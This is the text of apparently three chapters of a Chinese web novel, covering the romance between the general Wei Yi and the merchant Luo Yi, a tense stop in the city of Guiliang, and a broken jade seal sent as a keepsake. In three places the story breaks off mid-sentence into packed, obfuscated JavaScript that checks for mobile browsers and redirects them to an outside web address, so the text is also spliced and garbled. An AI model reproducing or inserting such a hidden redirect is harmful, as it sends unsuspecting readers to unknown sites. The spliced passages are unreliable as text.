“说不好,快的话一两个月,若是对方有意拖沓,待上半年不无可能。” “一个月我还可以留在源州等你,若是你要待半年,我就不等了。” “本来也不用等我。”想到这件事,“回来就是和军队一起走,不用押货,速度很快就直接回京城去。” “就不能行军途中偷偷跑出来见一面?” “只见一面要劳烦你等我一个月?这怎么好意思。” “若是不这样,岂不是很久很久之后才能见到了?” “韦子隽!我看到你和逸希姐姐一起去树林了!你们在做什么?” 恋爱的时候不要带孩子,云攸纾完美诠释这一点。刚从马上爬下来休息一会儿,腿还在抖个不停,非要跟着跑到树林里来找人,两股战战脚步不稳。 “管好你自己,没几天就要出边关了,心情好吗?” “你也管好你自己!” 云攸纾叉着腿先行回到营地。 “平焕越来越像我的小孩儿了。”罗易现在恢复了心情,不会看着云攸纾就想发火。大家都看得明白,云攸纾更像是关在笼中的羔羊,对待宰羔羊这么苛刻做什么? “他哪里像你,”韦祎可不赞同这个说法,“你比他聪明多了。” “既然说起了小孩子,我堂哥说你的儿子又聪明又懂事,名叫宓儿,对不对?” 86. 生有别 “我……呃……宓儿还小,才五岁,小孩都是一样的,看不出什么聪明懂事。” 韦宓刚出生的时候韦祎出征去了,后来去城防军上班,八天住在城外的营房里,两天回来住,十日一循环。 导致韦宓和这个爹爹不太熟,爹爹时不时就变成“小祎哥”,变成“大舅舅”。 教育水平低不了。 夏天的时候,罗晏欠兮兮地指出了一件韦祎完全不想承认的事情。 方便起见,普通的启蒙读写课程就在柳氏的族学里面学,算学和物理之类的知识由柳不寒亲自教,韦寅偶尔教一点外语。 家里的其他小孩儿:小东风、小西风、花小宝这些都和韦宓一起上课。 令人不舒服的是,宓儿的学习能力远高于小东风他们几个。 韦寅偶尔给他们说几句拗口的燕国话,韦宓听听就随便记住了,对小东风来说却是天书。更吓人的是,小东风比宓儿大几岁,高宓儿一个头,但是力气却没有宓儿大,魏国公家的血脉怎会生出柔弱之人。 罗晏说,“宓儿能记住那么复杂的燕国话,记不住你是爹爹,你这爹当的有意思。” “你可真烦人。” 这不是重点,重点是,再一次印证了,即使环境相同,人本身的能力也不同,并不是谁都能轻松地走成为上等人的路。 “你不会是没发现你比别人聪明吧?”讨人厌的人继续发言。 “不像你脸皮厚,竟然说出来。” “人,生而不平等。这件事都被你给证明了,韦将军。” “罗少主,唯独你没资格在这件事上抱怨我。” 需要学会的东西,都不怎么难,比如这次的摘叶为刃,刚想到时觉得不可思议,两个月时间里只是偶尔琢磨一会儿,到今天就练得有些模样了。 观察云攸纾,以基础的防御剑法为目标,从东海出发练习到现在。陪练用木剑砍向他的剑,他第一反应就是把手里的剑扔了,然后全身僵直。 朽木不可雕,好烦! 在东海时,罗晏又说,“你看,四萬他爹是干嘛的?” 韦祎:“在我家农庄管事。” “那四萬呢?” “在我家啊,你不认识他啊,你们不是可熟了吗?” “四萬儿子呢?” “也在我家。” “他兄弟姐妹叔叔伯伯?” 这个嘛,四萬的哥哥弟弟们都在农庄里做事,他的姐姐妹妹们要么就嫁给铺子里的人,要么就嫁给了其他农庄的管事。 有外嫁的,那就是嫁给了相熟官员家里的佣人。 毕竟四萬在宅里,他要照顾韦家的小少爷,不能牵扯政敌,一旦牵扯,被人利用,起了谋害小少爷的心思太过麻烦,不得不管。 所以,他的亲戚嫁娶都是熟人家的佣人。 “问题来了,四萬他爹给你爹做佣人,四萬给你做佣人,他儿子九成要给你儿子当书童。” “所以?” “所以,这和前朝时的卖身奴有什么区别?” “我家可是付工钱的。” 四萬每月六两纹银,另外包全家人衣食住行,喜事、丧事、进学。 罗晏摊摊手,“知道你家付工钱。” “你非要用我家人举例子,你就不能换个人举例子,搞得象是我虐待了四萬一样,明明只有他折腾我的份。” 韦家待人好,是特例中的特例,亲戚少,宅里佣人也极少,不进新人不出旧人,终日闭府,好管,没有人吃里扒外。平常的官员家里,只算亲戚都有一大把,关系复杂,利益牵扯极广,脏事多,佣人牵涉亦多。 比如栾凤,一个郡守而已,官不过从四品,远在丕州,手下最亲信的人竟然是三面间谍。 还有柳家,什么买办啊,送菜的,送肉的,送果子的,各房小厮各房小丫鬟,常有收钱办事儿的,三表姐管家,时不时就得清理出一批人。 慈悲为怀,总不可能都杀了,打人也不对。 直接放了,恐他们记恨,留下后患。 送到偏远农庄关起来做农活,派人看着。 也许四萬有一天想要辞去韦宅的工作,去别处,韦宅干净,敢放他走。京城里没有比韦宅更干净的官邸了,其他宅子,不敢放亲近的佣人活着离开。 与前朝的卖身奴确无区别。 自己的孩子,和自己差不多,生来就有好天赋,世上无难事。 那别人怎么办? 所以,并不愿意承认,自己孩子是天才。 “多说说,宓儿喜欢什么,不喜欢什么,我要谋划谋划。”罗易说,“有人可能要做他的继母,事关紧要。” “哎?是吗?是谁呀?”韦祎得了便宜开始卖乖。 “你竟然与她惊世骇俗地当众接吻,随后就忘了,看来是想再来一次了?韦公子你说,对不对啊?” 拥有了恋情就忘了过去的教训,明明在东海就试验出来了,千万不要和罗易争口舌之利,争不过的,脸皮也没有对方厚,怎么争? 又输一局。 “这是林子里,又无旁人,我们应该靠近些。”罗易向前迈进一步,谆谆善诱,颇具威胁。二人之间的距离从一臂远缩减到了两寸远,近得可以感受到罗易的气息。 就在罗易意图把头靠上韦祎肩膀的时候,她感觉韦祎身体紧绷了一刹那。 有敌人? 应该不是,因为韦祎伸手搂上了自己的腰。 “不会吧,又有敌人?”罗易顺势靠紧一点,薅住韦祎的衣裳,以防他等会儿要拽着自己飞檐走壁去。 “有人偷看。”韦祎悄声回答。 “谁啊?” “听着呼吸声,怎么像是平焕?”韦祎不着痕迹地原地转动小半圈,确定了,就是云攸纾,后面跟着钱氿。 “喔,因为他偷看,你才揽住我啊。” 一句话没说完,云攸纾瞪着眼睛冲出来了,“韦子隽你靠逸希姐姐这么近做什么?!” “没有啊,你看错了。”韦祎手的位置不变,放在罗易的腰上,面向云攸纾,非常坦荡。 “你,你们都,这样了!这叫不近?这!这叫不近!”气急败坏。 韦祎:“你可能没见过,真的近,是到底有多近。” 罗易配合着靠在韦祎的肩上,忍笑摇头。 又把云攸纾给气走了。 “他都走了,不把手放下吗?” “不了,一旦他又回来呢?”韦祎姿势不变。 “嗯,有道理。对了,我早就想问,你能隔这么远听到平焕呼吸的声音,我离你这么近,呼吸声音听起来会不会聒噪?” “何出此言?不管怎么听,大声还是大声,小声还是小声,本质不会变。”很难形容这是什么区别,被动技能无法关闭。 即使放松的时候也能听见呼吸,不过那时就是过耳不过脑。 “岂不是很吵?”罗易问。 “有的时候是,不过没关系,习惯习惯就好。” 听到这,罗易直一直腰。感受到她的动势,韦祎胳膊立刻松劲,罗易便顺利挣脱开来,往旁边走一步,两人间又恢复了一臂远的距离。 那就是,确实很吵。 “是什么样的感觉,与常人有何种不同?” 不知道啊,十五岁出山的时候,五感的效率就远高于常人了,至于还没有习武的小时候,记不住了。 伸出手,轻轻抚摸过韦祎身前,此人近在咫尺,伸手可及。转念思之,若他所见所感皆与我不同,我和他岂不是根本就不在同一位面,如同中间隔了一层半透明的琉璃墙。 “姑娘为何轻薄在下?”韦祎怎可能猜得到罗易此时心中所想,更要笑嘻嘻。 “怎能够?”罗易笑着戳戳点点,摸到胸前衣服里手指大小的硬方块,“这是何物,玉佩?” “不告诉你。” 当然是玉佩了,这块玉佩的故事听起来狗血又无聊,但本质上并没有很狗血,讲出来就说不清狗血不狗血了,不讲才好。 银州治下地图窄而狭长,境内多是高山、矿场,整个州里只有三个郡城。 曲喆负责押运国礼,还在丕州的时候,就看着银州的地形发愁,他可不敢让那些国礼大车翻山,真的会翻。亲自跑来见了韦祎几面,最终敲定,大军绕路到银州南部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“归良之所以叫归良,因为从归良往北,包括整个凉州,本属于北燕。大齐始皇帝打天下时征得这些土地。” “始皇帝的发家史我也看过,这些寻常知识,还是记得的。从归良郡向西的整个源州,百年之前是一个小国,因为不肯向大齐称臣,被灭国了。” “是啊,当时垣国被灭,百姓誓死不愿成为齐国之民,一直有叛军抵抗,最终杀得国中男丁都没了,国内妇女一齐自焚。最终始皇帝得到的一州之地,几乎没有人烟,繁华些的城镇,只剩下未满五岁的小孩子啃食街上的糟朽焦炭,偏远的村落本不知国家沦陷,一旦听说了,要么奋起反抗被彻底剿灭,要么纵火自焚。” 不禁摇摇头,听到这件事,罗易有点生气,火气一上来,都不觉得冷了,“岂非愚蠢?” 这段历史,不会详细地写在对国民发售的史书中,罗易第一次听说。若曾经的垣国军民真的负隅顽抗至此,宁愿全都去死也不投降,被评为愚蠢也不亏。 留得青山在,真要反抗,得先活下去。 “何出此言?”韦祎问,他很想听一听罗易对此事的见解。 “曾经的垣国,国境闭锁,大祭司掌权,百姓愚昧,贫困艰难,偏偏又横在大陆中间,汉地打它,西域也打它。再看如今的源州,上缴国库的税银长期排在全国前五,风沙太大不宜种地,畜牧业很少,没有出名的矿藏,赚钱全靠商业往来,很厉害。” “你竟然知晓国内州郡缴税的数量?” “民间商贾,靠这个推断何处繁荣,何处兴商,奔利而去。” “原来并非官府机密。” “这份数据从地方到京城,不止几百名书吏、官员经手,能卖钱的消息,怎会是机密?自有人从各地买来消息,组合比对,每季度都会都会出新报表,每年有总报表。最终从京城官府里买来官方报表,再比对一次。” “都成产业了!” 罗易笑笑:“还有竞争呢,报表越做越精致了。” 87. 归良郡 大齐国官府没有直接公开各州郡的税收数据,民间自有人通过各处门路,整理贩卖,蔚然成风,背后自是最高权力的默许。 人呐,废了力气买来、淘弄来的东西总会当成宝贝,光明正大给别人看的,都成了面子,充面子的东西总要作假,就不可信了。 说着话,韦祎听见罗易被冻得声音发颤,或是讲起了百年前桓国之事,激动所致。 “今日之源州,相比当年之垣国,胜出百倍,当年的垣国国民却见不到,连他们的后代都没有了。”罗易咬牙。 “对垣国当日的军民来讲,大齐才是恶人,依照他们的想法,寺庙被拆,妇女委身外族,不如死。” “若他们归顺,大齐会烧杀掳掠吗?” “不会,禁掳掠百姓是始皇帝立军第一铁则。” “所以啊,他们何必愚昧至死。” 今日的源州之民,从汉地一批一批移居而来,将过百年,彻底扎根。另有来往的异国人、商贾定居,愈发繁华。 “为自己的气节而死,即使是愚昧,也随他们吧。其实,亦是始皇帝的军队不善巧言利诱,致他们负隅顽抗。有垣国之哀为前车之鉴,现在将官们都要学劝降技巧,每支军队都设有抚民官。” 五年前稞国之战时,本没想要攻进稞国境内,决定攻入境内前,特调抚民官奔袭前来。 听见身边那人不说话了,“你是不是冷?”韦祎试探着问。 “还好。”她答。 “你看看,你为何要来?” 咦?本是随便说一句,为何她心跳突然加快了?听在耳朵里就是砰地一声,引得韦祎自己的心跳跟着快了半拍。好生奇怪,她因何紧张? 我刚才问她,你为何要来。 此行怪事颇多,每次都算是顺利化解,难不成,她与我同行,真的别有目的? 既然她没说,就是不方便问。 发觉了装作没发觉是韦祎的拿手好戏,出来这么多年,总归是练出来了,接着说下去:“吃苦赶路就不说了,又是被人绑架,又是遇到叛军,还要风餐露宿。” “这都不算什么。常有酸腐文人掉书袋说什么读万卷书行万里路,我走这一趟是赚到了,若不来,一个小百姓,哪里能见到叛军围攻的场景啊。” “叛军围攻……有什么可看的。”韦祎继续提刚才的话题,“你冷吧,都发抖了。” 罗易似是无意识地随口回答了一句:“无妨,不冷。” 惯性喜怒不形于色,若她自己不说出来心情如何、在想什么,总归是猜不出来,偶尔能察觉一二,又不好提问。 她明明就站在我身旁,却好似离得很远,遥不可及。 伸手,光明正大地在罗易眼前慢慢伸过去,往罗易的袖子里探。她正把双手袖在身前,探进去摸一把,双手冰冰凉。 就没急着抽出手来。 “暖和多了,你倒是恒温。” “你都发抖了,为何不承认自己冷?”韦祎问,罗易刚才否认了两次。 “承认了又如何,他们刚出去捡柴,篝火没那么快生起来。” 有道理。 也不对啊,这不有我在呢?放在话本戏文里,此时应该温暖相拥。 凡是浪漫的桥段到了自己这里总是能变味道,究竟是哪里不对? 遥望山外的归良郡的灯火,回神,往日一般的狡黠神色:“刚才你问我为何要来,我心跳变快了,你听出来了?” “听到了。” “可生疑心?为何不问我?” “听到了与生疑心并无必然关联,更谈不上要问你。”韦祎变得小心翼翼了。 “嗯,”罗易点点头,随即下定论:“你问了我也不告诉你。” 心中暗惊,她发觉自己心跳加快之后便能意识到我可以听见,即使我没有发出疑问,也绝不心存侥幸,要立刻点破此事。这么警觉做什么? “至少冷可以告诉我。”韦祎决定争取一下,发挥主观能动性,尽力向浪漫桥段靠拢。 罗易则背道而驰,随口敷衍:“嗯,喔。” 银州的州府归良城里,另一番景象。 一行人夜里都没怎么睡成,天蒙蒙亮时出发赶路,午后时分,从归良郡的东门进了城。 夜里受冻,所有人都急着找落脚之地,赶快洗漱歇息。 “客人们,你们这一队也是被地图传闻给骗了吧,地图上讲从丕州边上到我们归良只需一日,其实要翻山,至少需要一日半的马程,拉着马车翻山更慢了,得十二个时辰,哈哈!”城门口茶摊上的小二笑嘻嘻地给他们斟茶。 经常有来往行人被地图上的距离给骗了,不得不留在山里过一夜。 “喝完茶,我们去找间客栈。” “逸希姐姐,归良有没有罗氏的客栈?”云攸纾问。 “罗氏的客栈,大齐的东部多些,到了西部就少了,再就是南宁国的芙京和上阳有几家,北燕的东部商道和星都城有几家,还未开到其他地方去,西部和北方是镖局多。” 走在归良郡的街道上,两旁的房屋已非中原风格,都是灰褐色的二、三层小楼,外墙涂抹艳色花纹,悬挂朱红色、湖蓝色的大幅布条流苏,鲜艳夺目。 “中原腹地见不到这样多的小楼。”四顾,发觉这里几乎没有一间中原常见的深深宅院,都是楼,反而是中原腹地不爱盖楼,工艺已经能把楼造出五层以上,多作为赏景台、哨塔、钟楼之用,不喜居住于楼中。 “银州山多地少,山间的平地就这么一点,自然要提高利用率,盖小楼正合适。” 新到一城,都是没见过的景象,兴致勃勃从城门走到城中心,“这街上为何这么多车店和客栈?” 罗易:“听说,与之前路过的丕州不同,丕州平原引人流连,见之忘返。银州只是纵横交通当中的一站,山民放牧、采摘草药维生,少有耕地,无人愿意驻足。所以说,这地方客栈多,又因为有贵金属矿藏,作坊多,镖队也多。” 没什么别的了。路过郡守府和州太守府,这两处地方显眼,普普通通的大宅院,却在银州难得。 “找客栈吧,我看,都差不多。”韦祎说,到了这里就不用去官府拜会,稍微住一晚上,明早出发。 “逸希姐姐,他说的不对,这里是开客栈的好地方啊,刚才走了几家,都是一样的,一楼大通铺,二楼单间客房,后院是仓库,店主人家都住在店里头,这可不够好,咱们东海的客栈,哪里有大通铺和单间房开在一起的?院子也小,人在楼上,一开窗户后院就是马,什么味道啊。” “听口音,多是本地人开设,举家经营。”罗易摇头,只注重实用,毫无体验,从房屋的改建到饮食服务,多有糊弄,在她这个东海大老板看来,这里的客栈生意太原始。 云攸纾一拍掌,“这地方好,可以来这开客栈。现在这些客栈住些普通人还成,稍微有钱的,想住好地方都不成,还是堂堂银州的州府呢!” “这儿倒也繁华,来往热闹,把客栈开到这里来,是个好主意。等平焕从西秦回来,咱们合伙开几间好客栈,一定能在银州赚到钱。” “你相信我能回来?”云攸纾不假思索,脱口而出。 “有去必有回。”罗易没想到云攸纾对还能回来这件事毫无信心,只好自己给他加强信心,“大齐终究是你的家,在外面闯荡过了,是要回来的,不然,岂不是无法再相聚了?” 云攸纾听了,低头无话。罗易偷偷捏一把韦祎的手,让他帮着劝,韦祎露出了一个惊慌为难的表情,口型反问:说什么? 不意外,让他劝熊孩子,有点难,就不该问他。 从下午开始,都快晚饭了,这群人仍没住进客栈。 不是他们嫌弃不肯住,而是这满大街的客栈,都说没房了,最近来往的商队、镖局特别多,客栈都被包了。 “怎么回事?街上的人,看起来不多啊。” 前面又进去一家,“逸希,跟店主人打听两句,我去后面看看,稍后就回来。”说完,韦祎没了踪影。 罗易、云攸纾、钱氿三个人进了客栈,其他人在门外等着,这里的客栈,厅堂不大,挤不下那么多人。 “主人家,客栈里还有房吗?” “几位贵人,实在不好意思,已经没有上房了。”店老板搓搓手,他也馋,这几人一看就是有理有节的大老板,若是能住进自己客栈里,侍候好了,打赏丰厚。 “我们走了一路,归良城中怎么每家客栈都满客啊?” “这位贵人有所不知,最近两三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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罗易立刻发问:“你都把锁给拧了,不打开箱子看一看?” “这个……”把锁给拧了已经很过分,还要撬开别人的货物,太不地道了! “那好吧,等会儿拿一把新锁头给它锁上,店家说包店的人看起来很蛮横。” 说着这话,旁边的小贩立刻殷勤,“爷,买把锁头吧,对面客栈的锁头都是在我这买的。” “好。”韦祎伸手递钱,“就这把。” 归良城的氛围,古怪。 解决住宿问题,还有两个选择,一是去找州太守府或者郡守府亮出官凭,在府里住一晚。二是去罗氏开在归良郡的镖局住宿,罗易本来也是要在归良城巡视镖局的。 不过,走了一下午,城内氛围如此奇怪,联系起刚刚发生在华阳郡的叛军哗变事件,让人心中觉得不怎么舒服。 一个以开客栈、车店维生的郡城,街上十成商铺里有三成都是住宿的地方,这些地方都被包了不准住人,一般的旅客就只能赶快补充干粮离开郡城往下一站走,这不是驱赶闲杂人等离开归良的好方法吗? “钱氿,大军到驻扎点了吗?” “上午就收到传信,他们到位了。要我去跟肖丰换班吗?还是您要回去看看?” “没事。” “中郎将可是觉得城内事态诡异,怕华阳郡的事情又发生在归良?” “差不多。” “想预备使团军帮归良解困?” 韦祎看向钱氿,什么意思? “末将认为,还是不了吧。”钱氿没停气儿,继续说下去:“咱们是仪仗军的配置出门,医疗和兵甲都没带够,根本不适合开战,上次在华阳没有伤亡已经很幸运了,即使归良郡也有乱子,我们躲了就成,无令不该出。而且,也不见得是今日就出事,也许是一个月后呢?” “嗯,我知道。” 一行人此时秘密行事,连官府都要避开,除了东海,一路上没有住官驿,用的是从密探那要来的掩护身份。只有华阳不同,华阳郡是自己人,没有关系的。 到了归良郡,没理由管闲事,城内防务是州太守的职责,韦祎不该也不能插手。 只有太守点燃了求援狼烟时,恰巧在附近的军队才能帮。 “我家开在归良的镖局就在前面不远,既然不便去找此间官府,不如去镖局住宿,只需一晚上而已。” “马上就要到边关了,只剩下几天脚程,中郎将,不如直接回大军同行?” “我赞同!”云攸纾突然举手出声。 “你怎么还赞同了,不是不想去军队吗?”韦祎诧异,云攸纾雀跃,吓了他一跳。 88. 碎玉印 去军队待着,骑马赶路辛苦,总比又见一次血腥杀戮的场景好。 “要不要给此间太守报信?”既然云攸纾都不怕回到大军同行,韦祎也没有继续潜行前进的理由了,应该回去,却在犹豫,要不要通传银州太守。 钱氿和罗易都反对,华阳出事之后,要求警戒的公文已经传至西北各州郡,太守早该知道。最坏的情况是,归良郡城内诡异,太守却无行动,有可能已经被控制,这个时候使团的人前去联络,相当于自我暴露,羊入虎口。 借几步路。 罗易顿了顿,笑道:“计划要一起走到源州边关,却不想,今日就要分别了。” “我也没想到。” “不用与你同行是好事,我会在归良郡多待几日,若是城内真有什么不妥当,我想办法告知官府。” “都要分别了,只是说正事。” “那便来些不正经的。”罗易招招手,“你低下头来。” 双臂大张开,热情地往前一扑,搂住脖子,韦祎是赶忙躬身配合,又觉得这样挺怪的,躬身了要怎么拥抱,双手卡着罗易的腰把她抱起来,重心向后倾,用上半身托住她的体重,罗易会意,借力一跳,被韦祎抱着转了一圈。 “成何体统!”一路过的老妇惊呼。 “不堪入目!”一路过的读书人指指点点。 “天哪!快看那边!”好几名路过的年轻女子捂住了嘴。 罗易此时,穿的是男人装扮。 路人眼中,两名青年男子当众拥抱接吻,抱起来转圈圈呢,确实惊世骇俗。 韦祎不在乎是因为他马上出城了,一时半会儿不回来,管别人看得见看不见呢,罗易本来就不在乎。 云攸纾他们在后面没几步远,韦祎和罗易又在那边当街惊世骇俗,也落入他们眼中。 钱氿往左一步,朱愈往右一步,想要挡住云攸纾的视线,结果撞上了肩膀,对视一眼,略有嫌弃地各退一步,又把云攸纾的视线暴露了出来。 这次他没有大惊小怪地跑过去阻拦。 画面很美,两情相悦,最是让人心向往之。 云攸纾随便想一想也知道,罗易不会真心喜欢自己的。这些年相交甚密,不过是因为自己热情,她糊弄着顺水推舟逗小孩有趣。 细加分析,殷渔甫温和稳重,行事周全,从小陪伴罗易长大,救命之恩,忠心不二。朱玉芝出身贩药世家,看似风雅娇惯,其实勇敢又能吃苦,是个加班狂。云栖就更不用说了,风情无两,美艳无双。 除此之外,有各路追求者若干,在东海地界上,传闻不断。现在这位韦子隽嘛,人挺怪,但又比其他任何夫婿人选都好,罗易动真心才正常。 “凭什么他韦子隽就能与人两情相悦?凭什么他天资上佳,凭什么自己的爹要待他好。”每每想到这里,云攸纾都觉得自己心里陡然生出一股戾气来。 很小的时候就被赶了出来,现在十七岁,正在被押往结盟国当人质,这个韦子隽十七岁的时候在做什么,在御前,深受皇帝信重,天子近臣,去哪儿都是钦差。 以上是云攸纾的分析,韦祎和罗易两个人心里奇怪的是,怎么总是这样,只亲过两次,都是大庭广众。外出约会也不多,基本都有死人。 “你看那边,我家在归良郡的镖局。” 巷子口,挂着银红色的长条形旗子,最下边有个圆圆胖胖的“罗”字。 “我会继续在西部各州郡辗转,这样吧,你回程时若顺路,就再来这里一趟,看看我还在不在,若是不在,也许在华阳郡。” “不约定个时间,能不能遇到,全靠运气。”韦祎似有不满。 “谁要等你?我才没时间,若是遇不到,你就去东海找我好了。” 说到这,该告辞了,拱手作别。 又骑上马,带着被颠得快吐了的云攸纾断断续续疾驰一个时辰,见到了大军驻扎地。 告别了漂亮的秦琼姑娘,众校尉们颇有些闷闷不乐,云攸纾说不清自己开心不开心,不用看韦祎和罗易两情相悦了,但也见不到逸希姐姐了啊! 众人都疑惑,这两位好像是在华阳才刚刚挑明心迹,正甜着呢,没过几天,说告别就告别,一点也不拖泥带水,意外,意外。 “回来了?”肖丰正在篝火前面坐着,看见这一群人从外面走进来,站起来抱拳。 “不必多礼。”韦祎摆手,“晚饭吃了?” 肖丰答:“吃了,晚饭派得早。” 钱氿:“你在这干嘛呢?” “等你。”肖丰又抬了抬眼皮。 刚喝了一口水的张丙乙全都喷出来了,火堆里面升起一阵烟,众校尉瞪大了眼睛面面相觑,这么直白吗?今天吃狗粮吃到吐啊。云攸纾愣了,这是什么断袖戏码? 韦祎也呛,这二位平时不这样啊。 “等我,怎么知道我要回来,今天没到换班的日子。”钱氿已经麻木了,他才不在乎别人到底误解了什么,问正事。 横他一眼,“下午巡哨的发现附近的山路里面有行军的迹象,也许城里有异动,等等看你们会不会回来。” “喔,我还以为……” 云攸纾:“你以为什么?” 钱氿故意跑过去捏一捏肖丰的肩膀,对众人道:“我以为他是想我了。” “恶心!”云攸纾想跑,不知道要跑到那里去,太陌生。 “去请庞将军和曲将军过来,你们回去换衣裳吧。”韦祎吩咐,“还有,把平焕的营帐扎在中军大帐旁边。” 众人领命而去。 钱氿和肖丰没走,“中郎将,城里城外都不安宁,银州是真的要出事。您也知道,真出事了咱们帮不上什么忙,恐怕罗小姐也不好和当地的官府交涉,不如您派人回去给她个准信?以防万一。” “张丙乙!你回来!”韦祎叫,张丙乙立刻小跑回来。 “走了,走了,陪我换衣服去,”钱氿搭着肖丰的肩膀,在韦祎和张丙乙八卦的目光中远去。 这边,换好了衣裳的韦祎坐在桌前听曲喆絮絮叨叨抱怨这一路上为何中军主将不在,庞仁在一旁陪笑脸,但他也好奇。 “末将斗胆,敢问跟回来的那位小公子是何方人士?” 韦祎沉默一会儿,“是随军文书官。” 文书?显然是扯谎。 “劳烦庞将军和曲将军,让外围寻哨的警觉些,上次在华阳郡就生了乱子,恐怕又要在归良发生一次。” 未等庞仁接令,曲喆抢先开口:“中郎将!末将不解,上次在华阳,城内的事情与我们何干?”顿了顿,“末将听说华阳郡的郡守是中郎将的姐夫,难不成,中郎将外出办差,竟要探亲?” “曲将军不必担忧,我在华阳的事陛下已经知晓,下过旨了。”韦祎嫌麻烦,一句话把他噎回去。曲喆可能是想回京城上奏章参我,给他省一省心,不必麻烦。 “中郎将是天子近臣,我等自然是比不得。”曲喆酸溜溜。 “唉,”韦祎叹气,“回去吧,把各处都看紧些,一旦有异动,不管什么时间都报来中军。” 叨叨了一个时辰,曲喆不口干吗?听得耳朵都嗡嗡响了。 我偏偏不给他倒茶。 换位思考,在两位副使将军看来,自己这位访西域正使确实很不靠谱,一直不在军中,应该抱怨抱怨,罢了。 这两位刚出门去,仍不能歇着,门外还有一位一直在等着,走来走去的,靴子底都要磨薄一层。 “中郎将!末将郑予请见!” “进来吧。” 真可怕,刚走了一波又进来这一位更难缠的。 “中郎将,周冲呢?”郑予冲进来,直奔主题,“为什么肖大哥和氿哥一直不肯告诉我?他的胳膊又是怎么断的?” “呃,那个……” 另一边,张丙乙揣着一个信封又回到了归良郡,赶在关城门之前冲进城去,找到了罗氏镖局。 罗易正在镖局中宴饮。 镖局早就得到了报信,少主将要来此视察,没当一回事,少主他们见过,挺好打交道的,不担心,又加上最近事情极忙,赚的银钱都翻倍,少主视察又如何,不需要惶恐。 来的不是少主且无妨,都是东家,管他呢,看到来的是一位女子,可能会挑剔,也没有,这位东家小姐为人豪爽,一起宴饮,好不痛快! “东家小姐,您正赶上好时候啦,这不,我刚从外省押镖回来,就遇见您了!” “您都是一方局长了,亲自押镖,果然敬业。” “哪里,哪里,都是应该的!” 一身酒气的罗易走出来,见到张丙乙,立刻打起精神:“张大哥怎么回来了,可是有什么不测?” “没有,罗小姐放心,只是我们中郎将回到了大营中又觉得不妥,把大军的驻地写了下来,让我交给您。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315184|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“喔,没事就好。”罗易点点头,借助着灯笼的光亮,打开了信封。 上面没写别的,能看出是韦祎的字迹,字很工整,就是字帖临摹练出来的,看不出什么书法造诣,楷字说不上是虞体还是褚体,放在老学究眼里要骂他一句不伦不类。内容就只有大军的驻地,后面加了一句,“若有异动,遣人来报。” 信封里沉甸甸的,倒一倒,掉出来一块挂着红绳的玉佩,约有拇指大小。 张丙乙就等着兴奋这件事:“罗小姐,这可是我们中郎将从脖子上摘下来的,我亲眼看见,中郎将的贴身之物,刚拿下来时,还带着体温呢。” 凑到灯笼下,这玉佩真是不怎么样。 玉料可以说非常差,一看就知道是边角料,遍布杂色瑕疵。 是碎的。 碎了不止一次,中间有一道大裂痕,将玉佩一分为二,融化了银子粘回去了。 后面又碎了一次,碎了有七八块,这次是融化了金子又给粘回去了。 按说,碎成这样单用金子粘不上,所以,玉佩外面又用银子做了一个八角箍来固定。翻到玉佩的最底下,才看出来这不是玉佩,而是一个玉印章,快刀阴刻的古体“子隽”两个字。不过,有八角银箍挡着,已经没办法当作印章来用了。 “看起来真的很有故事。” 刻痕没有磨损,应当从没有当作印章用过,阴刻里面的一点暗红色是什么,用指甲刮一刮,好像是血迹,已经渗进了玉料瑕疵的细微孔洞里面,刮不掉的。 张丙乙八卦的表情不减:“中郎将说,他的家人认得这块玉佩,若实在有什么不测之事,能够以此为凭据报信。” “好,城门已经关了,张大哥留下住一晚吧。” “不了,多谢罗小姐好意,明早就要开拔,我晚上拿官凭出城门去。” “既然如此,辛苦张大哥!” 罗易找来一张纸,提笔写,“收到,知道了。——罗易”,折起来,交给张丙乙。 就写这么几个字?就这?也没有什么情话在上面。 这块玉佩大概是师父某一年送给韦祎的过年礼物。 玉料是师父刻玉雕用剩下的边角,随便刻一刻,钻个孔,就成了。信物是无所谓,师父所传授的武艺、才学,都在身上了,理念、作风更在心中。 俗物嘛,不重要。 边角料不少,他们师兄弟几个都有。 小时候的韦祎不知道印章是干什么用的,看到上面有个孔,就穿个绳挂脖子上,这么小一块东西,省得放在别处找不见了。 在金吾卫时,抓刺客被人当胸刺了一剑,把这块玉劈成了两半。 回家顺口跟老爹说了一句,老爹说他会补,就让老爹顺手给粘回去。 稞国之战后潜回来,在进京城前遭遇最严重的一次伏杀,身中数刀,这块玉印当然又碎了一次,腰带系得紧,碎玉块都被衣裳兜住了,一块也没掉出去,人摔在地上好几次,真是扎得慌。拖着重伤之躯往城里跑时,还在想,这碎玉渣渣可千万别蹭进伤口里,到时候清理就麻烦了。 回城把事情交代好之后昏过去,没管得着。 本想着都碎成那样了,就不要了。 睁眼看见老爹又把玉给补回去了,打好了银箍的玉印拴了一根新红绳,置于床头小桌上。 补都补了,碎成那样都补了,可能老爹觉得这个边角料玉印很重要,老爹的一片心意嘛,继续戴着吧。 以上,导致这东西看起来特别狗血,一副依依不舍师门情深父子连心的样子,其实并没有。才不要把这么狗血的事情讲给罗易听。 罗易想,若真是韦祎从怀里取出来的,也挺浪漫,却被张丙乙揣信封夹在腋下走了一路,都变成张丙乙的体温,带点汗臭味,多少有些恶心,等张丙乙一走,立刻变为尖着手指头拈它,浪漫不起来。 落笔回信想写点什么,最终只写“知道了”几个字。 